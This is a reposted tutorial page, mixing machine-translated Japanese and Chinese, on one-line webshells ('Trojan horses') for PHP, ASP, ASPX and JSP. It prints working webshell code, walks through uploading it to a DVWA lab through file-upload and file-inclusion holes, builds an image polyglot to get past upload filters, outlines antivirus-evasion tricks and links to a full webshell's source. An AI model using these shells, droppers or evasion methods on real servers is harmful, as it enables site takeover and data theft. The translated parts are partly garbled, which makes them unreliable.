ホームページ >バックエンド開発 >PHPチュートリアル >トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

慕斯
慕斯転載
2021-06-02 15:18:474224ブラウズ

PHP については、多くのトロイの木馬が登場しますが、ほとんどの人はまだ彼女のことを十分に深く理解していません。今日の記事は、トロイの木馬とは何か、その形式と原理は何なのかを理解するのに役立ちます。この記事を読むと意外な発見があると思いますので、ぜひ一緒に頑張りましょう!

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

概要:

多くの侵入プロセスでは、侵入担当者が文型トロイの木馬 (Webshel​​l と呼ばれる) をアップロードします。 to 現在、Web サービス ディレクトリは、システム権限を取得するために権限をエスカレートします。これは、asp、php、jsp、または aspx に関係なく当てはまります。では、一文のトロイの木馬とは一体何ですか?

まず、最も単純な 1 文のトロイの木馬を見てください。

   <?php @eval($_POST[&#39;attack&#39;]);?>

[基本原則] ファイル アップロードの脆弱性 を使用して、文のトロイの木馬をターゲット Web サイトにアップロードします。 Chinese Chopperchopper をローカルで使用できます。exe は Web サイトのディレクトリ全体を取得して制御できます。 #@ は、後で実行中にエラーが発生した場合でも、エラーは報告されないことを意味します。 eval()この関数は、括弧内のすべてのステートメント文字列がコードとして実行されることを示します。 $_POST['攻撃'] は、ページから攻撃パラメータ値を取得することを意味します。

侵入条件

このうち、攻撃者が次の 3 つの条件を満たしていれば侵入は成功します。 Forms

一般的な 1 文のトロイの木馬:

  • 木马上传成功,未被杀;
    知道木马的路径在哪;
    上传的木马能正常运行。
これらのステートメントを Web サイト上の asp/aspx/php ファイルに直接挿入することも、Write these で新しいファイルを直接作成することもできます。ステートメントを含めて、ファイルを Web サイトにアップロードします。

基本原則

まず、オリジナルでシンプルな php 一文のトロイの木馬を見てみましょう:
php的一句话木马: <?php @eval($_POST[&#39;pass&#39;]);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> 
<%eval(Request.Item["pass"],"unsafe");%>
先人たちを称賛しなければなりません。この知恵を見たら。 PHP について少し知っている人、またはジュニアのセキュリティ愛好家、またはスクリプトの専門家にとって、

が最初に目にするのは、パスワードが cmd

であり、データが post を通じて送信されるということですが、その実行方法は次のとおりです。具体的にはどうなるかはわかりませんが、文がどのように実行されるかを分析してみましょう。

この文はどういう意味ですか?

(1) PHP コードは、サーバーがこれが PHP コードであることを認識して解析できるように、 で記述する必要があります。

(2)

@ 記号は、エラーが報告されないことを意味します。実行エラーが発生しても、エラーは報告されません。 ############なぜ?変数が定義されずに使用されたため、サーバーは親切にも「xxx 変数が定義されていないことに注意してください」と注意を促しました。これでパスワードが漏洩することはないのでしょうか?したがって、@
を追加します。
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み) (3) パスワードが cmd なのはなぜですか?

次に、この文の意味を理解する必要があります。 php にはスーパー グローバル変数がいくつかあります。$_GET と $_POST もその 1 つです。 $_POST['a']
; は、変数 a が post メソッドを使用して受け取られることを意味します。

注: データを送信するには、get と post の 2 つの方法があります。Post ではメッセージ本文にデータが保存され、get ではメッセージ ヘッダーの URL パス (xxx.php など) にデータが保存されます。 ?a=2 )

(4) eval()関数

を理解するにはどうすればよいですか?

eval() は文字列を PHP コード

として実行します。 例: eval("echo 'a'");実際、これは直接

echo 'a'

; もう一度見てみましょう まず、post メソッドを使用して変数 pw を受け取ります。たとえば、次のような場合:

pw=echo 'a'

; この場合、コードは <?php eval("echo 'a';"); ?> になります。結果は次のようになります。 接続すると、
を意味します: post メソッドを使用して変数 pw を受け取り、変数 pw 内の文字列を php コードとして扱い、実行します。したがって、次のようにプレイできます。つまり、コードを実行したい場合は、そのコードを変数 pw に入れ、post を使用してそれを 1 文のトロイの木馬に送信します。ターゲットのハードディスクにポルノ映画があるかどうかを確認したい場合は、php 関数
opendir()

readdir()トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み) などを使用できます。ウェブサイトの所有者を映すためにポルノ映画をアップロードしたい場合は、php 関数

move_uploaded_file

を使用できます。もちろん、対応する HTML を適切に記述する必要があります。 cmd コマンドを実行したい場合は、exec() を使用します。 <p>当然前提是:php配置文件php.ini里,关掉安全模式<code>safe_mode = off,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。

来看看效果,POST代码如下:

  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo &#39;<pre class="brush:php;toolbar:false">&#39;;
  print_r($out);
  echo &#39;
';

在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解,为什么说一句话短小精悍了吧!
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

木马利用

以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。

中国菜刀

【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):

  <?php @eval($_POST[&#39;pass&#39;]);?>

接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

在Low 安全级别下,查看后台源码:

 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ], $target_path ) ) {
        // No
        echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
';     }     else {         // Yes!         echo "
{$target_path} succesfully uploaded!
";     }   }?>

从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。

(1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み) (2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

“中国菜刀”页面操作说明:

1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");
3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。

(3)然后可以看连接成功的界面:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

(4)接着双击或者右键“文件管理”,进入以下界面:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……

图片木马

木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关。所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。

承接上面DVWA实验,High 安全等级,继续先查看源码:

 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // File information
    $uploaded_name = $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, &#39;.&#39; ) + 1);
    $uploaded_size = $_FILES[ &#39;uploaded&#39; ][ &#39;size&#39; ];
    $uploaded_tmp  = $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
';         }         else {             // Yes!             echo "
{$target_path} succesfully uploaded!
";         }     }     else {         // Invalid file         echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
';     }  }?>

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”“.jpeg”“*.png”之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

我们需要将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件

生成带有木马的图片文件hack.jpg
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

然后我们试着将生成的木马图片文件hack.jpg上传,上传成功!!!
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

访问图片木马:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

接下来,上菜刀!!!!!!!!!!!トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。

首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:

<?php fputs(fopen(&#39;muma.php&#39;,&#39;w&#39;),&#39;<?php @eval($_POST[hack]);?>&#39;); ?>

然后制作新的图片木马,如下图所示:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

访问的地址如下:<code style="font-size: 14px;">http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下图所示:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php,如下图所示:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

此时再上菜刀连接,即可成功连接:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。

木马免杀

就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

免杀思路】:

1、将源代码进行再次编码。
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

2、将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。

小马和大马

小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

网页小马

小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre class="brush:php;toolbar:false">");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
");     }%>

成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。

网页大马

大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

继续访问下命令执行功能(其他功能不展示了):

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

最后附上该PHP大马的代码(代码太长,百度云盘链接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
提取码:56pd。另外提供JSP大马的参考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456

WebShell

Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

推荐学习:《PHP视频教程

以上がトロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。